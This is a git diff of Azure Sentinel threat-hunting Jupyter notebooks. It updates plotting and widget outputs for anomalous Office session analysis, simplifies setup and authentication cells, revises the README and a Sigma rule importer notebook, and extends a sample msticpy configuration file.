force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1659\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1659\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" @@ -2272,7 +2284,7 @@ "\n", "\n", "\n", - "
\n" + "
\n" ] }, "metadata": {}, @@ -2284,8 +2296,8 @@ "(function(root) {\n", " function embed_document(root) {\n", " \n", - " var docs_json = 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Application\",\"version\":\"2.2.2\"}};\n", + " var render_items = [{\"docid\":\"86af86a1-2936-4ad6-b216-129b716e71d6\",\"root_ids\":[\"1731\"],\"roots\":{\"1731\":\"0455d817-66cd-46cc-bfbc-a13c4d9ff9ef\"}}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", @@ -2312,7 +2324,7 @@ }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { - "id": "1442" + "id": "1731" } }, "output_type": "display_data" @@ -2380,7 +2392,7 @@ }, { "cell_type": "code", - "execution_count": 17, + "execution_count": 15, "metadata": {}, "outputs": [ { @@ -2410,7 +2422,7 @@ { "data": { "application/vnd.jupyter.widget-view+json": { - "model_id": "d8b490de3f92480c852d6dd758811afe", + "model_id": "396fc70e6a1a4b1c869e31a1f3788577", "version_major": 2, "version_minor": 0 }, @@ -2495,7 +2507,7 @@ " [Set-ConditionalAccessPolicy, Set-ConditionalAccessPolicy, Set-ConditionalAccessPolicy, Set-Cond...\n", " [{'Set-ConditionalAccessPolicy': [{'Name': 'Identity', 'Value': 'seccxpninja.onmicrosoft.com\\\\23...\n", " [Set-ConditionalAccessPolicy, Set-ConditionalAccessPolicy, Set-ConditionalAccessPolicy, Set-Cond...\n", - " [Cmd(name='Set-ConditionalAccessPolicy', params={'PolicyDetails', 'PolicyIdentifierString', 'Ide...\n", + " [Cmd(name='Set-ConditionalAccessPolicy', params={'DisplayName', 'TenantDefaultPolicy', 'PolicyDe...\n", " [Cmd(name='Set-ConditionalAccessPolicy', params={'Identity': 'seccxpninja.onmicrosoft.com\\\\235be...\n", " 0.003386\n", " [Cmd(name='Set-ConditionalAccessPolicy', params={'Identity': 'seccxpninja.onmicrosoft.com\\\\6490d...\n", @@ -2512,7 +2524,7 @@ " [Update-RoleGroupMember, Update-RoleGroupMember, Update-RoleGroupMember, Update-RoleGroupMember,...\n", " [{'Update-RoleGroupMember': [{'Name': 'Members', 'Value': 'CBoehmSA;pcadmin;SecurityAdmins_20075...\n", " [Update-RoleGroupMember, Update-RoleGroupMember, Update-RoleGroupMember, Update-RoleGroupMember,...\n", - " [Cmd(name='Update-RoleGroupMember', params={'Members', 'Identity'}), Cmd(name='Update-RoleGroupM...\n", + " [Cmd(name='Update-RoleGroupMember', params={'Identity', 'Members'}), Cmd(name='Update-RoleGroupM...\n", " [Cmd(name='Update-RoleGroupMember', params={'Members': 'CBoehmSA;pcadmin;SecurityAdmins_20075581...\n", " 0.000003\n", " [Cmd(name='Update-RoleGroupMember', params={'Members': 'CBoehmSA;ComplianceAdmins_939735849', 'I...\n", @@ -2547,8 +2559,8 @@ "145 [Update-RoleGroupMember, Update-RoleGroupMember, Update-RoleGroupMember, Update-RoleGroupMember,... \n", "\n", " param_session \\\n", - "18 [Cmd(name='Set-ConditionalAccessPolicy', params={'PolicyDetails', 'PolicyIdentifierString', 'Ide... \n", - "145 [Cmd(name='Update-RoleGroupMember', params={'Members', 'Identity'}), Cmd(name='Update-RoleGroupM... \n", + "18 [Cmd(name='Set-ConditionalAccessPolicy', params={'DisplayName', 'TenantDefaultPolicy', 'PolicyDe... \n", + "145 [Cmd(name='Update-RoleGroupMember', params={'Identity', 'Members'}), Cmd(name='Update-RoleGroupM... \n", "\n", " param_value_session \\\n", "18 [Cmd(name='Set-ConditionalAccessPolicy', params={'Identity': 'seccxpninja.onmicrosoft.com\\\\235be... \n", @@ -2608,7 +2620,7 @@ }, { "cell_type": "code", - "execution_count": 20, + "execution_count": 16, "metadata": {}, "outputs": [ { @@ -3255,7 +3267,371 @@ }, "widgets": { "application/vnd.jupyter.widget-state+json": { - "state": {}, + "state": { + "04d718ee9eb94bad88b225dd9f0b9cad": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Query start time (UTC):", + "layout": "IPY_MODEL_f5b8c6fb930e4be3aaf5d71b76105319", + "style": "IPY_MODEL_8de4492deb74465c9f60407f26bcfbcd", + "value": "2020-07-06 00:00:00" + } + }, + "076a78cf3ae1424cb4bd78a14f70d754": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "initial" + } + }, + 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Set query time boundaries

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"1.5.0", + "model_name": "HTMLModel", + "state": { + "layout": "IPY_MODEL_704a34af468042f0b2588821ce98c9fe", + "style": "IPY_MODEL_1f02ed1355c049c08138efff33a00a12", + "value": "File download: 100%" + } + }, + "871d1ecf4e8f43dea46d97f3b0082af5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "8d0eacc52eec488da1a25a3665fb30d4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "8de4492deb74465c9f60407f26bcfbcd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "initial" + } + }, + "9626c69725504c72b4a11991fc32fbd8": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "9807331b6f054820b1a1fac86a50c1f7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "50%" + } + }, + "a4708b6a13414bbf871b7897df40723c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "VBoxModel", + "state": { + "children": [ + "IPY_MODEL_3f6fa4c0db994ea7a490cb28e3be90e1", + "IPY_MODEL_5e3c422a0bb046d1a86be7b935f277f4", + "IPY_MODEL_48ce1406d7414b6094d5c3d0d7275da3" + ], + "layout": "IPY_MODEL_bff53e9ebf4546319d53f7be48531b28" + } + }, + "b78d87d700b946caaf76eee14013efea": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Query end time (UTC) : ", + "layout": "IPY_MODEL_9807331b6f054820b1a1fac86a50c1f7", + "style": "IPY_MODEL_076a78cf3ae1424cb4bd78a14f70d754", + "value": "2020-07-20 00:00:00" + } + }, + "bd78658dbaeb49c8a1de5ae43e3167b1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "children": [ + "IPY_MODEL_772a416ce0a249bcafb22729a08f81c6", + "IPY_MODEL_d9b50ff2d9d64f59933b01b9d8c581ee", + "IPY_MODEL_1b69bf01335d4b70be462817969c5b71" + ], + "layout": "IPY_MODEL_ca74cfd06c75454e94f834844d8b3a7b" + } + }, + "be07690961fc449ea1b8b1443c299da1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "beb1dfcc25054b8a9c3c0be09fab7399": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "IntRangeSliderModel", + "state": { + "_model_name": "IntRangeSliderModel", + "_view_name": "IntRangeSliderView", + "description": "Time Range (week):", + "layout": "IPY_MODEL_68b2718f44bb4e4494a4040dc63fa6ff", + "max": 4, + "min": -4, + "style": "IPY_MODEL_1aaa3d665b384d6eb53e8cd27235c26e", + "value": [ + -1, + 1 + ] + } + }, + "bff53e9ebf4546319d53f7be48531b28": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "c620b6a81d2f4d18ad7993c7a26b3ca9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "SliderStyleModel", + "state": { + "description_width": "200px" + } + }, + "c7bdfb7a7f7b46b794f6fe86f2faa345": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "ca74cfd06c75454e94f834844d8b3a7b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "cc517381d772451fb2b0b2ec9ce9266c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DatePickerModel", + "state": { + "description": "Origin Date", + "disabled": false, + "layout": "IPY_MODEL_cf3aa51d1dd84201b99b27235176b21d", + "style": "IPY_MODEL_c7bdfb7a7f7b46b794f6fe86f2faa345", + "value": { + "date": 13, + "month": 6, + "year": 2020 + } + } + }, + "cf3aa51d1dd84201b99b27235176b21d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "d757bf88f48445e1b9aeda7be5d40f22": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatSliderModel", + "state": { + "description": "Select likelihood threshold", + "layout": "IPY_MODEL_10ade0ff26574690a17ea7524d7193b3", + "max": 0.010681888131276969, + "min": 2.5413764681869644e-06, + "readout_format": ".7f", + "step": 0.000536508714208626, + "style": "IPY_MODEL_c620b6a81d2f4d18ad7993c7a26b3ca9", + "value": 0.00376 + } + }, + "d91cb7b56d614c32bbafee13199f0628": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Time (24hr)", + "layout": "IPY_MODEL_21575e09b91748e890cf44d8870b5c2c", + "style": "IPY_MODEL_270c32f5f2b04370ba0ba481122bfaf0", + "value": "00:00:00" + } + }, + "d9b50ff2d9d64f59933b01b9d8c581ee": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "bar_style": "success", + "layout": "IPY_MODEL_8d0eacc52eec488da1a25a3665fb30d4", + "max": 4, + "style": "IPY_MODEL_4941409a5dd341c3967d0a91817167fc", + "value": 4 + } + }, + "f5b8c6fb930e4be3aaf5d71b76105319": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "50%" + } + }, + "fdc9374fa86d411389922af282b13e5e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + } + }, "version_major": 2, "version_minor": 0 } diff --git a/Notebook Template.ipynb b/Notebook Template.ipynb index 4eb9bd7..17f8d4e 100644 --- a/Notebook Template.ipynb +++ b/Notebook Template.ipynb @@ -67,32 +67,19 @@ "outputs": [], "source": [ "from pathlib import Path\n", - "import os\n", - "import sys\n", - "import warnings\n", - "from IPython.display import display, HTML, Markdown\n", + "from IPython.display import display, HTML\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 6, 0)\n", + "REQ_MSTICPY_VER=(1, 0, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", - "\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --upgrade msticpy\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(sys.modules[\"msticpy\"])\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(REQ_MSTICPY_VER)\n", - " \n", + " from utils.nb_check import check_versions\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n", "\n", "# If not using Azure Notebooks, install msticpy with\n", "# !pip install msticpy\n", + "\n", "from msticpy.nbtools import nbinit\n", "nbinit.init_notebook(\n", " namespace=globals(),\n", @@ -106,26 +93,30 @@ "source": [ "[Contents](#toc)\n", "### Get WorkspaceId and Authenticate to Log Analytics \n", - "
\n", - " Details...\n", - "If you are using user/device authentication, run the following cell. \n", + "\n", + "If you are using user/device authentication (the default), run the following cell. \n", "- Click the 'Copy code to clipboard and authenticate' button.\n", - "- This will pop up an Azure Active Directory authentication dialog (in a new tab or browser window). The device code will have been copied to the clipboard. \n", + "- This will pop up an Azure Active Directory authentication dialog (in a new tab or browser window).\n", + " The device code will have been copied to the clipboard. \n", "- Select the text box and paste (Ctrl-V/Cmd-V) the copied value. \n", - "- You should then be redirected to a user authentication page where you should authenticate with a user account that has permission to query your Log Analytics workspace.\n", + "- You should then be redirected to a user authentication page where you should \n", + " authenticate with a user account that has permission to query your Log Analytics workspace.\n", "\n", - "Use the following syntax if you are authenticating using an Azure Active Directory AppId and Secret:\n", - "```\n", - "%kql loganalytics://tenant(aad_tenant).workspace(WORKSPACE_ID).clientid(client_id).clientsecret(client_secret)\n", - "```\n", - "instead of\n", - "```\n", - "%kql loganalytics://code().workspace(WORKSPACE_ID)\n", - "```\n", + "
\n", + " Using an AppID and App Secret\n", + "Use the following syntax if you are authenticating using an Azure Active Directory AppId and Secret:
\n", + "
\n",
+    "connect_str = \"loganalytics://tenant(TENANT_ID).workspace(WORKSPACE_ID).clientid(client_id).clientsecret(client_secret)\"\n",
+    "qry_prov.connect(connect_str)\n",
+    "
\n", + "instead of
\n", + "
\n",
+    "qry_prov.connect(ws_config)\n",
+    "
\n", "\n", - "Note: you may occasionally see a JavaScript error displayed at the end of the authentication - you can safely ignore this.
\n", - "On successful authentication you should see a ```popup schema``` button.\n", - "To find your Workspace Id go to [Log Analytics](https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces). Look at the workspace properties to find the ID.\n", + "To find your Workspace Id go to\n", + "[Azure Sentinel Workspaces](https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces).\n", + "Look at the workspace properties to find the ID.\n", "
" ] }, @@ -149,11 +140,25 @@ "metadata": {}, "outputs": [], "source": [ - "# Authentication\n", + "# See if we have an Azure Sentinel Workspace defined in our config file.\n", + "# If not, let the user specify Workspace and Tenant IDs\n", + "\n", "ws_config = WorkspaceConfig()\n", - "qry_prov = QueryProvider(data_environment=\"LogAnalytics\")\n", - "qry_prov.connect(connection_str=ws_config.code_connect_str)\n", - "table_index = qry_prov.schema_tables" + "if not ws_config.config_loaded:\n", + " ws_config.prompt_for_ws()\n", + " \n", + "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n", + "print(\"done\")\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Authenticate to Azure Sentinel workspace\n", + "qry_prov.connect(ws_config)" ] }, { @@ -264,4 +269,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} +} \ No newline at end of file diff --git a/README.md b/README.md index 5f5510f..769ccb5 100644 --- a/README.md +++ b/README.md @@ -17,27 +17,32 @@ More information on getting started with This repository contains notebooks contributed by Microsoft and the community to assist hunting and investigation tasks in Azure Sentinel. -The notebooks are mostly one of three types: +The notebooks are mostly one of several types: - Exploration notebooks. These are meant to be used as they are or with your own customizations to explore specific hunting and investigation scenarios. Examples of this type include the Entity explorer series. (“Entity” refers to items such as hosts, IP addresses, accounts, URLs, etc.) -- Simple How-To notebooks like the Get Started notebook. +- Guided hunting and guided investigation notebooks that follow a specific + CyberSec scenario +- How-To notebooks like the Get Started and ConfigureNotebookEnvironment notebooks. - Sample notebooks. These are longer and are meant to be instructional - examples following a real or simulated hunt or investigation. + examples following a real or simulated hunt or investigation. They typically + have save sample data so that you can see what they are meant to do. ## More Information -- Read the [Get Started](https://nbviewer.jupyter.org/github/Azure/Azure-Sentinel-Notebooks/blob/master/A%20Getting%20Started%20Guide%20For%20Azure%20Sentinel%20ML%20Notebooks.ipynb) +- [Getting Started](https://nbviewer.jupyter.org/github/Azure/Azure-Sentinel-Notebooks/blob/master/A%20Getting%20Started%20Guide%20For%20Azure%20Sentinel%20ML%20Notebooks.ipynb) + notebook. +- [Configuring notebook environment](https://nbviewer.jupyter.org/github/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb) notebook. - Run a demonstration notebook in [![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/Azure/Azure-Sentinel-Notebooks/master?filepath=nbdemo%2Fmsticpy%20demo.ipynb) -- Read more about the use of Jupter notebooks in Azure Sentinel on the - [Azure Sentinel Technical Community blog](https://techcommunity.microsoft.com/t5/Azure-Sentinel/bg-p/AzureSentinelBlog) -- Read more about the [Azure Notebooks Service](https://docs.microsoft.com/en-us/azure/notebooks/). -- View sample notebooks in the [Sample-Notebooks](https://github.com/Azure/Azure-Sentinel-Notebooks/tree/master/Sample-Notebooks) folder -- View How-tos and Troubleshooting in the [HowTos](https://github.com/Azure/Azure-Sentinel-Notebooks/tree/master/HowTos) folder +- Read more about the use of Jupyter notebooks in Azure Sentinel on the + [Azure Sentinel Technical Community blog](https://techcommunity.microsoft.com/t5/azure-sentinel/bg-p/AzureSentinelBlog/label-name/Notebooks). +- Read more about the [Azure ML Notebooks Service](https://docs.microsoft.com/en-us/azure/machine-learning/how-to-run-jupyter-notebooks). +- Read more about [MSTICPy](https://msticpy.readthedocs.io/en/latest/index.html) - the CyberSecurity Python library that powers most of the notebooks + ## Feedback diff --git a/SigmaRuleImporter.ipynb b/SigmaRuleImporter.ipynb index 2864c33..ee5d30d 100644 --- a/SigmaRuleImporter.ipynb +++ b/SigmaRuleImporter.ipynb @@ -36,32 +36,21 @@ { "cell_type": "code", "source": [ - "from pathlib import Path\r\n", - "import sys\r\n", - "from IPython.display import display, HTML, Markdown\r\n", - "\r\n", - "REQ_PYTHON_VER=(3, 6)\r\n", - "REQ_MSTICPY_VER=(0, 6, 0)\r\n", - "\r\n", - "display(HTML(\"

Starting Notebook setup...

\"))\r\n", - "if Path(\"./utils/nb_check.py\").is_file():\r\n", - " from utils.nb_check import check_python_ver, check_mp_ver\r\n", - "\r\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\r\n", - " try:\r\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\r\n", - " except ImportError:\r\n", - " !pip install --upgrade msticpy\r\n", - " if \"msticpy\" in sys.modules:\r\n", - " importlib.reload(sys.modules[\"msticpy\"])\r\n", - " else:\r\n", - " import msticpy\r\n", - " check_mp_ver(REQ_MSTICPY_VER)\r\n", - "\r\n", - "# If not using Azure Notebooks, install msticpy with\r\n", - "# !pip install msticpy\r\n", - "\r\n", - "from msticpy.nbtools import nbinit\r\n", + "from pathlib import Path\n", + "from IPython.display import display, HTML\n", + "\n", + "REQ_PYTHON_VER=(3, 6)\n", + "REQ_MSTICPY_VER=(1, 0, 0)\n", + "\n", + "display(HTML(\"

Starting Notebook setup...

\"))\n", + "if Path(\"./utils/nb_check.py\").is_file():\n", + " from utils.nb_check import check_versions\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n", + "\n", + "# If not using Azure Notebooks, install msticpy with\n", + "# !pip install msticpy\n", + "\n", + "from msticpy.nbtools import nbinit\n", "nbinit.init_notebook(namespace=globals());" ], "outputs": [], @@ -329,7 +318,11 @@ { "cell_type": "markdown", "source": [ - "## Display the results in an interactive browser" + "## Display the results in an interactive browser\n", + "\n", + "> Note: in order to execute a query from the browser, run\n", + "> the cells in the \"Execute query\" section first. Then\n", + "> come back to the browser." ], "metadata": {} }, @@ -366,19 +359,24 @@ " query_cat = sub_cats_w.value\n", " query_text = query_text_w.value\n", " query_text = query_text.format(**qry_wgt.query_params)\n", - "\n", " disp_results(query_text)\n", - " \n", + "\n", + "disp_result = None\n", + "\n", + "\n", "def disp_results(query_text):\n", - " out_wgt.clear_output()\n", - " with out_wgt:\n", - " print(\"Running query...\", end=' ')\n", - " qry_results = execute_kql_query(query_text)\n", - " print(f'done. {len(qry_results)} rows returned.')\n", - " display(qry_results)\n", + " if disp_result is None:\n", + " print(\n", + " \"Cannot run query without authenticating.\",\n", + " \"Please run subsequent cells first\"\n", + " )\n", + " return\n", + " disp_result.update(\"Running query...\")\n", + " qry_results = execute_kql_query(query_text)\n", + " disp_result.update(qry_results)\n", " \n", "exec_hqry_button = widgets.Button(description=\"Execute query..\")\n", - "out_wgt = widgets.Output() #layout=Layout(width='100%', height='200px', visiblity='visible'))\n", + "\n", "exec_hqry_button.on_click(click_exec_hqry)\n", "\n", "# Browser widget setup\n", @@ -435,7 +433,7 @@ { "cell_type": "markdown", "source": [ - "## Click the `Execute query` button below to run the currently display query\n", + "## Click the `Execute query` button below to run the currently displayed query\n", "**Notes:**\n", "- To run the queries, first authenticate to Azure Sentinel\n", "- If you added a date filter to the query set the date range below in the control below" @@ -452,20 +450,42 @@ { "cell_type": "code", "source": [ - "from msticpy.nbtools.nbwidgets import QueryTime\r\n", - "from IPython.display import display\r\n", - "from msticpy.data import QueryProvider\r\n", - "from msticpy.common.wsconfig import WorkspaceConfig\r\n", - "ws_config = WorkspaceConfig()\r\n", - "qry_prov = QueryProvider(\"LogAnalytics\")\r\n", - "qry_prov.connect(ws_config.code_connect_str)\r\n", - "\r\n", - "exec_hqry_button = widgets.Button(description=\"Execute Query\")\r\n", - "exec_hqry_button.on_click(exec_query_btn)\r\n", - "\r\n", - "qry_wgt = QueryTime(units='days', before=5, after=0, max_before=30, max_after=10)\r\n", - "\r\n", - "vbox = widgets.VBox([exec_hqry_button, out_wgt])\r\n", + "from msticpy.nbtools.nbwidgets import QueryTime\n", + "from IPython.display import display\n", + "from msticpy.data import QueryProvider\n", + "from msticpy.common.wsconfig import WorkspaceConfig\n", + "\n", + "ws_config = WorkspaceConfig()\n", + "qry_prov = QueryProvider(\"LogAnalytics\")\n", + "qry_prov.connect(ws_config.code_connect_str)\n", + "\n", + "def clean_kql_comments(query_string):\n", + " \"\"\"Cleans\"\"\"\n", + " import re\n", + " return re.sub(r'(//[^\\n]+)', '', query_string, re.MULTILINE).replace('\\n', '').strip()\n", + "\n", + "def execute_kql_query(query_string):\n", + " if not query_string or len(query_string.strip()) == 0:\n", + " print('No query supplied')\n", + " return None\n", + " src_query = clean_kql_comments(query_string)\n", + " src_query = src_query.format(start=qry_wgt.start, end=qry_wgt.end)\n", + " result = qry_prov.exec_query(src_query)\n", + " \n", + " return result\n", + "\n", + "disp_result = display(display_id=True)\n", + "\n", + "def exec_query_btn(btn):\n", + " query = query_text_w.value\n", + " result = execute_kql_query(query)\n", + " disp_result.update(result)\n", + "\n", + "exec_hqry_button = widgets.Button(description=\"Execute Query\")\n", + "exec_hqry_button.on_click(exec_query_btn)\n", + "\n", + "qry_wgt = QueryTime(units='days', before=5, after=0, max_before=30, max_after=10)\n", + "\n", "display(qry_wgt)" ], "outputs": [], @@ -499,28 +519,6 @@ { "cell_type": "code", "source": [ - "def clean_kql_comments(query_string):\r\n", - " \"\"\"Cleans\"\"\"\r\n", - " import re\r\n", - " return re.sub(r'(//[^\\n]+)', '', query_string, re.MULTILINE).replace('\\n', '').strip()\r\n", - "\r\n", - "def execute_kql_query(query_string):\r\n", - " if not query_string or len(query_string.strip()) == 0:\r\n", - " print('No query supplied')\r\n", - " return None\r\n", - " src_query = clean_kql_comments(query_string)\r\n", - " src_query = src_query.format(start=qry_wgt.start, end=qry_wgt.end)\r\n", - " result = qry_prov.exec_query(src_query)\r\n", - " \r\n", - " return result\r\n", - "\r\n", - "disp_result = display(display_id=True)\r\n", - "\r\n", - "def exec_query_btn(btn):\r\n", - " query = query_text_w.value\r\n", - " result = execute_kql_query(query)\r\n", - " disp_result.update(result)\r\n", - "\r\n", "display(exec_hqry_button)" ], "outputs": [], diff --git a/msticpyconfig.yaml.sample b/msticpyconfig.yaml.sample index d12e5fa..c7847ff 100644 --- a/msticpyconfig.yaml.sample +++ b/msticpyconfig.yaml.sample @@ -60,4 +60,65 @@ TIProviders: Provider: "OPR" TorExitNodes: Primary: True - Provider: "Tor" \ No newline at end of file + Provider: "Tor" +OtherProviders: + GeoIPLite: + Args: + AuthKey: c88dd3c2-d657-4eb3-b913-58d58d811a41 + Provider: GeoLiteLookup + IPStack: + Args: + AuthKey:c88dd3c2-d657-4eb3-b913-58d58d811a41 + Provider: IPStackLookup +DataProviders: + AzureCLI: + Args: + auth_methods: cli # options=[env; msi; cli; interactive] + Splunk: + Args: + host: my-splunk-srv + username: sp_user + LocalData: + data_paths: /home/myuser/.local_data + Mordor: + save_folder: /home/myuser/.mordor_cache + use_cached: True +KeyVault: + Authority: global + AzureRegion: Azure region name + ResourceGroup: MyResourceGroup + SubscriptionId: 